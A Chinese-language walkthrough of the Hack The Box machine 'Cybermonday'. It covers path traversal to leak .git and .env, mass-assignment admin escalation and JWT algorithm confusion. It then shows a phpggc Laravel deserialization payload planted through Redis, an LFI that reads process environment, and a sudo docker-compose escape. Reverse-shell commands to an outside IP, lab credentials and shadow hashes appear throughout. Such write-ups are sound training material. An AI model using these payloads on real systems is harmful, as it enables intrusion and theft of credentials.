Cybermonday 0x1 信息收集 nmap只有 80 和 SSH 端口,其他的沒什麽。
1 2 3 4 5 6 7 8 9 python3 dirsearch.py -u http://cybermonday.htb/ -w ~/SecLists/Discovery/Web-Content/quickhits.txt -e php,html,txt [21:35:21] Starting: [21:35:35] 200 - 603B - /.htaccess [21:36:51] 302 - 358B - /api/user -> http://cybermonday.htb/login [21:36:56] 404 - 555B - /assets/js/fckeditor [21:36:56] 404 - 555B - /assets/fckeditor [21:36:56] 404 - 555B - /assets/npm-debug.log [21:38:43] 200 - 6KB - /login
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 # /.htaccess <IfModule mod_rewrite.c> <IfModule mod_negotiation.c> Options -MultiViews -Indexes </IfModule> RewriteEngine On # Handle Authorization Header RewriteCond %{HTTP:Authorization} . RewriteRule .* - [E=HTTP_AUTHORIZATION:%{HTTP:Authorization}] # Redirect Trailing Slashes If Not A Folder... RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_URI} (.+)/$ RewriteRule ^ %1 [L,R=301] # Send Requests To Front Controller... RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^ index.php [L] </IfModule>
0x2 一個奇怪的發現 機器不給掃描 ,但是發現了一些細節,在我嘗試强行讓他404的時候,http://cybermonday.htb/assets/xxx
和 http://cybermonday.htb/dashboard/xxx
的結果不一樣,所以猜測 assets
可能做了一些反向代理的事情。如果assets
有反向代理的話,那麽可以嘗試做 Path traversal
。
儅訪問 http://cybermonday.htb/assets../.git/
出現403,證明是有東西的,http://cybermonday.htb/assets../.git/HEAD
返回文件,可以用git dumper之類的工具把他dump下來,然後得到源碼。
1 2 3 4 5 $ python3 /Tools/Tools/Gitdumper/git_dumper.py 'http://cybermonday.htb/assets../.git/' source [-] Testing http://cybermonday.htb/assets../.git/HEAD [200] [-] Testing http://cybermonday.htb/assets../.git/ [403] [-] Fetching common files ...
目錄裏面發現有 .env.example
,猜測 .env
可能存在服務器上,嘗試 curl http://cybermonday.htb/assets../.env
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 APP_NAME=CyberMonday APP_ENV=local APP_KEY=base64:EX3zUxJkzEAY2xM4pbOfYMJus+bjx6V25Wnas+rFMzA= APP_DEBUG=true APP_URL=http://cybermonday.htb LOG_CHANNEL=stack LOG_DEPRECATIONS_CHANNEL=null LOG_LEVEL=debug DB_CONNECTION=mysql DB_HOST=db DB_PORT=3306 DB_DATABASE=cybermonday DB_USERNAME=root DB_PASSWORD=root BROADCAST_DRIVER=log CACHE_DRIVER=file FILESYSTEM_DISK=local QUEUE_CONNECTION=sync SESSION_DRIVER=redis SESSION_LIFETIME=120 MEMCACHED_HOST=127.0.0.1 REDIS_HOST=redis REDIS_PASSWORD= REDIS_PORT=6379 REDIS_PREFIX=laravel_session: CACHE_PREFIX= MAIL_MAILER=smtp MAIL_HOST=mailhog MAIL_PORT=1025 MAIL_USERNAME=null MAIL_PASSWORD=null MAIL_ENCRYPTION=null MAIL_FROM_ADDRESS="hello@example.com" MAIL_FROM_NAME="${APP_NAME}" AWS_ACCESS_KEY_ID= AWS_SECRET_ACCESS_KEY= AWS_DEFAULT_REGION=us-east-1 AWS_BUCKET= AWS_USE_PATH_STYLE_ENDPOINT=false PUSHER_APP_ID= PUSHER_APP_KEY= PUSHER_APP_SECRET= PUSHER_APP_CLUSTER=mt1 MIX_PUSHER_APP_KEY="${PUSHER_APP_KEY}" MIX_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}" CHANGELOG_PATH="/mnt/changelog.txt" REDIS_BLACKLIST=flushall,flushdb
得到 APP_KEY
和一個 redis
,這裏猜測 redis
是做cookie管理,然後還有一個後面值得探索的 CHANGELOG_PATH
目錄。
源碼看起來沒有什麽特別的地方。
0x3 修改密碼的地方好像有點奇怪 隨便注冊一個用戶密碼,然後修改密碼,用戶名填 admin
郵箱填 admin@cybermonday.htb
,點擊提交之後會報錯,觀察這個報錯,是一個 Laravel Error Tracking
平臺,
仔細觀察是説SQL出現錯誤,
1 2 3 4 5 6 7 8 9 update `users` set `username` = admin, `email` = admin@cybermonday.htb, `password` = $ 2y $ 10 $ 2GD8HBeFKTkeFL7KJMVXL1zxWTS1KAT3fACcv3PgTerKwmg8BUrvn, `users`.`updated_at` = 2023 -00 -00 00: 00: 00 where `id` = 2
下面的 CONTEXT 寫著:
1 2 3 4 5 6 7 8 { "id": 2, "username": "xxxx", "email": "xxxx@xxxx.com", "isAdmin": true, "created_at": "2023-00-00T00:00:00.000000Z", "updated_at": "2023-00-00T00:00:00.000000Z" }
看起來是從數據庫裏面讀取出來的,也就是說數據庫裏面有一個 isAdmin
,所以嘗試用burp截取提交表單,在post後面加上 &isAdmin=1
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 POST /home/update HTTP/1.1 Host: cybermonday.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 127 Origin: http://cybermonday.htb Connection: close Referer: http://cybermonday.htb/home/profile Cookie: xxxxxxxxxxxxxxxxxxx Upgrade-Insecure-Requests: 1 _token=Tfvb4BLkexNuSAz6Syi4UwEQV9tPcu8jk5y85wiL&username=xxx&email=xxx%xxx.com&password=xxx&password_confirmation=xxx&isAdmin=1
然後就獲得了管理權限,上面出現了 Dashboard
。
另外,登陸完了之後看了一下cookie,有一個 cybermonday_session
的東西,好像是 laravel
的加密cookie。
0x4 發現 webhook 來到 http://cybermonday.htb/dashboard/changelog
,也就是點擊 Dashboard
-> Changelog
裏面,發現有webhook,
點擊之後,來到了一個域名 http://webhooks-api-beta.cybermonday.htb/webhooks/fda96d32-e8c8-4301-8fb3-c821a316cf77
。
隨便在瀏覽器亂打 http://webhooks-api-beta.cybermonday.htb/aaa.php
發現是php的一個服務器。
對這個域名進行掃描,發現兩個文件,
1 2 [05:00:00] 200 - 602B - /.htaccess [05:00:00] 200 - 447B - /jwks.json
查看 jwks.json
:
1 2 3 4 5 6 7 8 9 10 11 { "keys" : [ { "kty" : "RSA" , "use" : "sig" , "alg" : "RS256" , "n" : "pvezvAKCOgxwsiyV6PRJfGMul-WBYorwFIWudWKkGejMx3onUSlM8OA3PjmhFNCP_8jJ7WA2gDa8oP3N2J8zFyadnrt2Xe59FdcLXTPxbbfFC0aTGkDIOPZYJ8kR0cly0fiZiZbg4VLswYsh3Sn797IlIYr6Wqfc6ZPn1nsEhOrwO-qSD4Q24FVYeUxsn7pJ0oOWHPD-qtC5q3BR2M_SxBrxXh9vqcNBB3ZRRA0H0FDdV6Lp_8wJY7RB8eMREgSe48r3k7GlEcCLwbsyCyhngysgHsq6yJYM82BL7V8Qln42yij1BM7fCu19M1EZwR5eJ2Hg31ZsK5uShbITbRh16w" , "e" : "AQAB" } ] }
然後查看根,列出了一堆API。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 { "status" : "success" , [ 0 /1166 ] "message" : { "routes" : { "/auth/register" : { "method" : "POST" , "params" : [ "username" , "password" ] } , "/auth/login" : { "method" : "POST" , "params" : [ "username" , "password" ] } , "/webhooks" : { "method" : "GET" } , "/webhooks/create" : { "method" : "POST" , "params" : [ "name" , "description" , "action" ] } , "/webhooks/delete:uuid" : { "method" : "DELETE" } , "/webhooks/:uuid" : { "method" : "POST" , "actions" : { "sendRequest" : { "params" : [ "url" , "method" ] } , "createLogFile" : { "params" : [ "log_name" , "log_content" ] } } } } } }
然後嘗試玩一下這個webhook,/webhooks/create
對這個比較感興趣。
嘗試 POST /webhooks/create
,返回 {"status":"error","message":"Unauthorized"}
。
隨便注冊一個賬號:POST /auth/register
,返回 {"status":"success","message":"success"}
。
登錄:POST /auth/login
,返回 {"status":"success","message":{"x-access-token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJtIiwicm9sZSI6InVzZXIifQ.ALz7wcxLB0Kp1TL5pHvXNUYDVfy40BebZoi_Op1MzAbyW7vpPNH0b6PhsSsTJjm-1E5KU4sR0n6xJoffR9aQDqsgjj9qyaxP_hQ6YuXGAjkilVSgz02Ioi-IE-03y295D-C83UO3utMxJPj3JYb-UDIbA6iCaIq59aojeP_gjL33wSof5tJFx5kzzNndgwPf88QvqgUwYW85n7VmC3XJZ0nd3bVaPcUlmaTakkuEYn8YcraL2zsSOtU3Ek9jwxAvy6_XE2pIb6nEgyKI8SmI2zc0qYabXNmxRNoXUadlwi5VOr1goCqGh4ZvbuB0TdcYfG48Zm7hBlwS6D2souTG7g"}}
,在發現token有三個點,是JWT格式。
現在 POST /webhooks/create
,返回 {"status":"error","message":"Unauthorized"}
看起來沒有權限創建一個 webhooks
。
0x5 嘗試繞過JWT 思考了很久,有些不是很合理的地方,比如 jwks.json
這個敏感的文件就不應該會出現,如果逆向思考的話作者可能想希望我們利用這幾個文件而做一些事情,思考了一下,會不會是修改 jwt 的算法了。
通過這個網站 https://jwt.io/ 發現上面的JWT如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpZCI6MiwidXNlcm5hbWUiOiJtIiwicm9sZSI6InVzZXIifQ.ALz7wcxLB0Kp1TL5pHvXNUYDVfy40BebZoi_Op1MzAbyW7vpPNH0b6PhsSsTJjm-1E5KU4sR0n6xJoffR9aQDqsgjj9qyaxP_hQ6YuXGAjkilVSgz02Ioi-IE-03y295D-C83UO3utMxJPj3JYb-UDIbA6iCaIq59aojeP_gjL33wSof5tJFx5kzzNndgwPf88QvqgUwYW85n7VmC3XJZ0nd3bVaPcUlmaTakkuEYn8YcraL2zsSOtU3Ek9jwxAvy6_XE2pIb6nEgyKI8SmI2zc0qYabXNmxRNoXUadlwi5VOr1goCqGh4ZvbuB0TdcYfG48Zm7hBlwS6D2souTG7g { "typ" : "JWT" , "alg" : "RS256" } { "id" : 2, "username" : "m" , "role" : "user" }
最初的想法是更改 role 變成 admin,因爲RS256算法需要 private key 和 public key,然而並不知道private key。但是可以嘗試修改成HS256,如果服務器接受HS256算法的話,那麽只需要 public key 就可以簽名了。
然後谷歌搜索了下,搜索關於JWT的n和e是什麽,看到了這篇文章:
https://datatracker.ietf.org/doc/html/rfc7518#section-6.3.1.2
https://stackoverflow.com/questions/70022898/what-does-e-aqab-mean-in-jwks
現在知道n是Public key,所以現在想辦法得到public key,就要寫程序,呃,因爲不怎麽會寫,隨手問了一下 ChatGPT,結果秒出。。。。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from Crypto.PublicKey import RSAimport jsonfrom base64 import urlsafe_b64decodedef get_public_key (): with open ('jwks.json' ) as file: data = json.load(file) key = data['keys' ][0 ] modulus = int .from_bytes(urlsafe_b64decode(key['n' ] + '==' ), 'big' ) exponent = int .from_bytes(urlsafe_b64decode(key['e' ] + '==' ), 'big' ) public_key = RSA.construct((modulus, exponent)) return public_key public_key = get_public_key() print (public_key.export_key().decode())
得到Public Key
0x6 使用burp注入JWT Burp安裝 JWT Editor
和 JSON Web Tokens
這兩個插件,然後
首先要把上面的public key encode 一下,得到 LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFwdmV6dkFLQ09neHdzaXlWNlBSSgpmR011bCtXQllvcndGSVd1ZFdLa0dlak14M29uVVNsTThPQTNQam1oRk5DUC84ako3V0EyZ0RhOG9QM04ySjh6CkZ5YWRucnQyWGU1OUZkY0xYVFB4YmJmRkMwYVRHa0RJT1BaWUo4a1IwY2x5MGZpWmlaYmc0Vkxzd1lzaDNTbjcKOTdJbElZcjZXcWZjNlpQbjFuc0VoT3J3TytxU0Q0UTI0RlZZZVV4c243cEowb09XSFBEK3F0QzVxM0JSMk0vUwp4QnJ4WGg5dnFjTkJCM1pSUkEwSDBGRGRWNkxwLzh3Slk3UkI4ZU1SRWdTZTQ4cjNrN0dsRWNDTHdic3lDeWhuCmd5c2dIc3E2eUpZTTgyQkw3VjhRbG40MnlpajFCTTdmQ3UxOU0xRVp3UjVlSjJIZzMxWnNLNXVTaGJJVGJSaDEKNndJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==
然後修改 K
裏面的内容,貼上去。
1 2 3 4 5 { "kty" : "oct" , "kid" : "d7aed87f-932a-417e-957b-30fc13722f6a" , "k" : "LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0KTUlJQklqQU5CZ2txaGtpRzl3MEJBUUVGQUFPQ0FROEFNSUlCQ2dLQ0FRRUFwdmV6dkFLQ09neHdzaXlWNlBSSgpmR011bCtXQllvcndGSVd1ZFdLa0dlak14M29uVVNsTThPQTNQam1oRk5DUC84ako3V0EyZ0RhOG9QM04ySjh6CkZ5YWRucnQyWGU1OUZkY0xYVFB4YmJmRkMwYVRHa0RJT1BaWUo4a1IwY2x5MGZpWmlaYmc0Vkxzd1lzaDNTbjcKOTdJbElZcjZXcWZjNlpQbjFuc0VoT3J3TytxU0Q0UTI0RlZZZVV4c243cEowb09XSFBEK3F0QzVxM0JSMk0vUwp4QnJ4WGg5dnFjTkJCM1pSUkEwSDBGRGRWNkxwLzh3Slk3UkI4ZU1SRWdTZTQ4cjNrN0dsRWNDTHdic3lDeWhuCmd5c2dIc3E2eUpZTTgyQkw3VjhRbG40MnlpajFCTTdmQ3UxOU0xRVp3UjVlSjJIZzMxWnNLNXVTaGJJVGJSaDEKNndJREFRQUIKLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tCg==" }
不需要在網頁簽名,可以直接使用burp簽名,然後直接修改包就可以了。
0x7 WebHook 主動請求,思考下一步
這裏的WebHook可以主動發起請求,和枚舉了一段時間,沒有發現什麽有意思的内容。
然後想到了一個思路,Redis作爲Laravel的cookie緩存容器,Laravel會主動請求Redis(因爲請求是固定寫好的是,所以沒辦法exploit),但是儅Redis返回内容是惡意的情況下,儅Laravel會主動deserialization裏面的内容就可以執行reverse shell,也就是説如果我可以控制 Redis 返回的内容,我就有機會在Laravel deserialization的時候執行reverse shell。
很巧的是Redis有提供REST的API,通過RestAPI 嘗試修改當前的cookie,把他換成惡意的cookie,
0x8 準備 payload SET可以工作,剩下的就是準備payload了。
製作 deserialization 的php payload可以使用phpggc,看了一下, RCE10 是最好的(因爲 __toString ,比較適合現在的環境)。
所以希望可以在php上執行 system(“/bin/bash xxxx”) 的函數,所以下面就製作payload
1 2 ./phpggc Laravel/RCE10 SYSTEM '/bin/bash -c "/bin/bash -i >& /dev/tcp/xxxx/1111 0>&1"' O:38:"Illuminate\Validation\Rules\RequiredIf" :1:{s:9:"condition" ;a:2:{i:0;O:28:"Illuminate\Auth\RequestGuard" :3:{s:8:"callback" ;s:14:"call_user_func" ;s:7:"request" ;s:6:"SYSTEM" ;s:8:"provider" ;s:61:"/bin/bash -c " /bin/bash -i >& /dev/tcp/xxxx/1111 0>&1"" ;}i:1;s:4:"user" ;}}
用這個工具可以方便處理特殊符號,https://onlinestringtools.com/escape-string
0x9 想辦法在 Redis 中尋找當前的key,以便注入,得到webshell 因爲要注入當前的cookie,在谷歌的過程中發現了神奇的内容原來laravel是可以通過APP_KEY 解密。
參考:https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/laravel
然後就得到了 25c6a7ecd50b519b7758877cdc95726f29500d4c
和 6AGr0idR2a6TzouAfXs6hq7HOopPx0lkCS44SHRf
比較像key的值。
在上面的 .env 文件中,有這樣定義的。
1 2 3 4 5 REDIS_HOST=redis REDIS_PASSWORD= REDIS_PORT=6379 REDIS_PREFIX=laravel_session: CACHE_PREFIX=
所以完整的請求應該像這樣:
1 SET "laravel_session:<KEY>" "<REVERSHELL_PAYLOAD>"
因爲上面有兩個Key,所以發2遍看看效果。
然後測試了很久,都沒有反應,本地debug了下,在 payload 後加入 \r\n
就好了。
然後刷新一下網頁,laravel去數據庫獲取cookie的時候就會執行webshell。
看到 /mnt
下面挂在了john的 home
0xA (nginx server) 搜索可用的信息,找到webhook源碼,利用它得到LFI,拿到user的賬號密碼。 以下是LinPEAS發現的信息:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ╔══════════╣ Hostname, hosts and DNS 070370e2cdc4 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00::0 ip6-localnet ff00::0 ip6-mcastprefix ff02::1 ip6-allnodes ff02::2 ip6-allrouters 172.18.0.4 070370e2cdc4 nameserver 127.0.0.11 options ndots:0 ╔══════════╣ Interesting Files Mounted /dev/sda1 on /mnt type ext4 (ro,relatime,errors=remount-ro) /dev/sda1 on /etc/resolv.conf type ext4 (rw,relatime,errors=remount-ro) /dev/sda1 on /etc/hostname type ext4 (rw,relatime,errors=remount-ro) /dev/sda1 on /etc/hosts type ext4 (rw,relatime,errors=remount-ro)
nmap無法使用,可以使用reverse socks 然後套nmap,這裏我就快速使用Bash自製脚本快速掃描一下,所以猜測如下。
1 2 3 4 5 6 7 [+] 172.18.0.1: 22 open - hosts [+] 172.18.0.2: 80 open - nginx server [+] 172.18.0.3: 80 open - webhook [+] 172.18.0.4: 9000 open - Unknow [+] 172.18.0.5: 5000 open - Docker Registry [+] 172.18.0.6: 6379 open - redis [+] 172.18.0.7: 3306 open - mysql
看到了有 Docker Registry,隨手一個curl看看,
1 2 3 4 5 <a href="/v2/" >Moved Permanently</a>. {"repositories" :["cybermonday_api" ]}
發現這個 docker registry 居然有容器,所以使用Docker Registry Grabber下載所有tar壓縮包。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 $ proxychains -f ./proxychains.conf python3 /Tools/Tools/DockerRegistryGrabber/drg.py http://172.18.0.5 --dump_all [proxychains] config file found: ./proxychains.conf [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4 [+]======================================================[+] [|] Docker Registry Grabber v1 @SyzikSecu [|] [+]======================================================[+] [+] cybermonday_api [+] BlobSum found 27 [+] Dumping cybermonday_api [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce [+] Downloading : ced3ae14b696846cab74bd01a27a10cb22070c74451e8c0c1f3dcb79057bcc5e [+] Downloading : a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4 [+] Downloading : ca62759c06e1877153b3eab0b3b734d6072dd2e6f826698bf55aedf50c0959c1 ... $ ls cybermonday_api 1684de57270ea8328d20b9d17cda5091ec9de632dbba9622cce10b82c2b20e62.tar.gz 9f5fbfd5edfcaf76c951d4c46a27560120a1cd6a172bf291a7ee5c2b42afddeb.tar.gz 1696d1b2f2c3c8b37ae902dfd60316f8928a31ff8a5ed0a2f9bbf255354bdee8.tar.gz a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4.tar.gz 4756652e14e0fb6403c377eb87fd1ef557abc7864bf93bf7c25e19f91183ce2c.tar.gz affe9439d2a25f35605a4fe59d9de9e65ba27de2403820981b091ce366b6ce70.tar.gz 57cdb531a15a172818ddf3eea38797a2f5c4547a302b65ab663bac6fc7ec4d4f.tar.gz beefd953abbcb2b603a98ef203b682f8c5f62af19835c01206693ad61aed63ce.tar.gz 57fbc4474c06c29a50381676075d9ee5e8dca9fee0821045d0740a5bc572ec95.tar.gz ca62759c06e1877153b3eab0b3b734d6072dd2e6f826698bf55aedf50c0959c1.tar.gz 5b5fe70539cd6989aa19f25826309f9715a9489cf1c057982d6a84c1ad8975c7.tar.gz ced3ae14b696846cab74bd01a27a10cb22070c74451e8c0c1f3dcb79057bcc5e.tar.gz 5c3b6a1cbf5455e10e134d1c129041d12a8364dac18a42cf6333f8fee4762f33.tar.gz dc968f4da64f18861801f2c677d2460c4cc530f2e64232f1a23021a9760ffdae.tar.gz
然後找到webhook源碼。
在搜索的過程中發現有很多 .wh..wh..opq
的文件,查了下原來還有奇怪的知識。
https://klose911.github.io/html/docker/infrastructure.html
然後看到有讀取日志的代碼,有些API剛才沒用到,看了一下這裏好像有漏洞
然後隨便寫了一個php代碼本地測試繞過情況。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 <?php ini_set ('display_errors' , 1 );ini_set ('display_startup_errors' , 1 );error_reporting (E_ALL);?> <html> <body> <form action="index.php" method="post" > Input: <input type="text" name="name" ><br> <input type="submit" > </form> </body> </html> <?php if (isset ($_POST ["name" ])) { $name =$_POST ["name" ]; $logPath = "/tmp/" ; $logName = $name ; if (preg_match ("/\.\.\//" , $logName )) { echo ("Hit one, have ../ : " .$logPath .$logName ); } $logName = str_replace (' ' , '' , $logName ); if (stripos ($logName , "log" ) === false ) { echo ("Hit Two, no end with log: " .$logPath .$logName ); } if (!file_exists ($logPath .$logName )) { echo ("Hit Three, no exist " .$logPath .$logName ); } $logContent = ($logPath .$logName ); echo "\n" ; echo $logContent ; echo "\n" ; echo "\n" ; echo file_get_contents ($logContent ); } ?>
這個地方我思考了很久(2天,其實很簡單的問題,老了),原來繞過第一個可以使用 . ./. ./. ./. ./. ./. ./
,第二個可以使用 . ./. ./. ./. ./. ./var/log/. ./. ./
然後就可以 . ./. ./. ./. ./. ./var/log/. ./. ./proc/self/environ
讀取環境變量。
新建一個webhook,讀取id,然後等等,爲什麽 GET /
沒有列出來。
要使用這個漏洞,從這裏追進去,
然後發現使用API的authorized,硬編碼的
然後使用這個KEY,
利用上面的漏洞,就可以把環境變量給解壓出來。
然後john的密碼就在 proc/self/environ
裏面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 HOSTNAME=e1862f4e1242\ PHP_INI_DIR=\/usr\/local\/etc\/php\ HOME=\/root\ PHP_LDFLAGS=-Wl,-O1 -pie\ PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64\ DBPASS=<這裏是密碼> \ PHP_VERSION=8.2.7\ GPG_KEYS=39B641343D8C104B2B146DC3F9C39DC0B9698544 E60913E4DF209907D8E30D96659A97C9CF2A795A 1198C0117593497A5EC5C199286AF1F9897469DC\ PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64\ PHP_ASC_URL=https:\/\/www.php.net\/distributions\/php-8.2.7.tar.xz.asc\ PHP_URL=https:\/\/www.php.net\/distributions\/php-8.2.7.tar.xz\ DBHOST=db\ DBUSER=dbuser\ PATH=\/usr\/local\/sbin:\/usr\/local\/bin:\/usr\/sbin:\/usr\/bin:\/sbin:\/bin\ DBNAME=webhooks_api\ PHPIZE_DEPS=autoconf \t\tdpkg-dev \t\tfile \t\tg++ \t\tgcc \t\tlibc-dev \t\tmake \t\tpkg-config \t\tre2c\ PWD=\/var\/www\/html\ PHP_SHA256=4b9fb3dcd7184fe7582d7e44544ec7c5153852a2528de3b6754791258ffbdfa0\
這裏是賬號密碼
1 2 USER: john PASS: ngFfX2L71Nu
0xB Enumeration USER 拿到 root.txt 登錄ssh之後,隨便sudo -l 看看,
1 2 3 4 5 6 7 john@cybermonday:~$ sudo -l [sudo] password for john: Matching Defaults entries for john on localhost: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User john may run the following commands on localhost: (root) /opt/secure_compose.py *.yml
然後看這個文件裏面有什麽?
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 import sys, yaml, os, random, string, shutil, subprocess, signaldef get_user (): return os.environ.get("SUDO_USER" ) def is_path_inside_whitelist (path ): whitelist = [f"/home/{get_user()} " , "/mnt" ] for allowed_path in whitelist: if os.path.abspath(path).startswith(os.path.abspath(allowed_path)): return True return False def check_whitelist (volumes ): for volume in volumes: parts = volume.split(":" ) if len (parts) == 3 and not is_path_inside_whitelist(parts[0 ]): return False return True def check_read_only (volumes ): for volume in volumes: if not volume.endswith(":ro" ): return False return True def check_no_symlinks (volumes ): for volume in volumes: parts = volume.split(":" ) path = parts[0 ] if os.path.islink(path): return False return True def check_no_privileged (services ): for service, config in services.items(): if "privileged" in config and config["privileged" ] is True : return False return True def main (filename ): if not os.path.exists(filename): print (f"File not found" ) return False with open (filename, "r" ) as file: try : data = yaml.safe_load(file) except yaml.YAMLError as e: print (f"Error: {e} " ) return False if "services" not in data: print ("Invalid docker-compose.yml" ) return False services = data["services" ] if not check_no_privileged(services): print ("Privileged mode is not allowed." ) return False for service, config in services.items(): if "volumes" in config: volumes = config["volumes" ] if not check_whitelist(volumes) or not check_read_only(volumes): print (f"Service '{service} ' is malicious." ) return False if not check_no_symlinks(volumes): print (f"Service '{service} ' contains a symbolic link in the volume, which is not allowed." ) return False return True def create_random_temp_dir (): letters_digits = string.ascii_letters + string.digits random_str = '' .join(random.choice(letters_digits) for i in range (6 )) temp_dir = f"/tmp/tmp-{random_str} " return temp_dir def copy_docker_compose_to_temp_dir (filename, temp_dir ): os.makedirs(temp_dir, exist_ok=True ) shutil.copy(filename, os.path.join(temp_dir, "docker-compose.yml" )) def cleanup (temp_dir ): subprocess.run(["/usr/bin/docker-compose" , "down" , "--volumes" ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) shutil.rmtree(temp_dir) def signal_handler (sig, frame ): print ("\nSIGINT received. Cleaning up..." ) cleanup(temp_dir) sys.exit(1 ) if __name__ == "__main__" : if len (sys.argv) != 2 : print (f"Use: {sys.argv[0 ]} <docker-compose.yml>" ) sys.exit(1 ) filename = sys.argv[1 ] if main(filename): temp_dir = create_random_temp_dir() copy_docker_compose_to_temp_dir(filename, temp_dir) os.chdir(temp_dir) signal.signal(signal.SIGINT, signal_handler) print ("Starting services..." ) result = subprocess.run(["/usr/bin/docker-compose" , "up" , "--build" ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) print ("Finishing services" ) cleanup(temp_dir)
然後想到了 check_no_symlinks
這個函數,然後 ln -s ~/Tools /Tools
,用 python3 試一下之後,發現有奇怪的東西
寫了個 exp.xml
1 2 3 4 5 6 7 version: "3" services: server: image: cybermonday_api command: sh -c '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.16.19/1111 0>&1"' volumes: - /home/john/root/root:/home/john:ro
然後:
這樣就拿到了 root.txt
目前,暫時還沒想到如何拿到root的shell。
題外話:
如果這裏少了HS256,那麽就不會工作。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 root@d212ff9ac6c1:/home/john root:$y$j9T$kndrQlLwiIgjD3Jegw0bP0$8gT7HQZoAIe6owK9kIDzj4qriqKfygMooOkk5go9i40 :19506:0:99999:7::: daemon:*:19506:0:99999:7::: bin:*:19506:0:99999:7::: sys:*:19506:0:99999:7::: sync :*:19506:0:99999:7:::games:*:19506:0:99999:7::: man:*:19506:0:99999:7::: lp:*:19506:0:99999:7::: mail:*:19506:0:99999:7::: news:*:19506:0:99999:7::: uucp:*:19506:0:99999:7::: proxy:*:19506:0:99999:7::: www-data:*:19506:0:99999:7::: backup:*:19506:0:99999:7::: list:*:19506:0:99999:7::: irc:*:19506:0:99999:7::: gnats:*:19506:0:99999:7::: nobody:*:19506:0:99999:7::: _apt:*:19506:0:99999:7::: systemd-network:*:19506:0:99999:7::: systemd-resolve:*:19506:0:99999:7::: messagebus:*:19506:0:99999:7::: systemd-timesync:*:19506:0:99999:7::: sshd:*:19506:0:99999:7::: john:$y$j9T$GjbNtuqeiU3F8AVjXki /F1$E .mwZgDhVYWBR8UfeQDDO91/Z8cGKOW.ec0iK9Xj017:19569:0:99999:7::: systemd-coredump:!*:19506:::::: _laurel:!:19572::::::
最後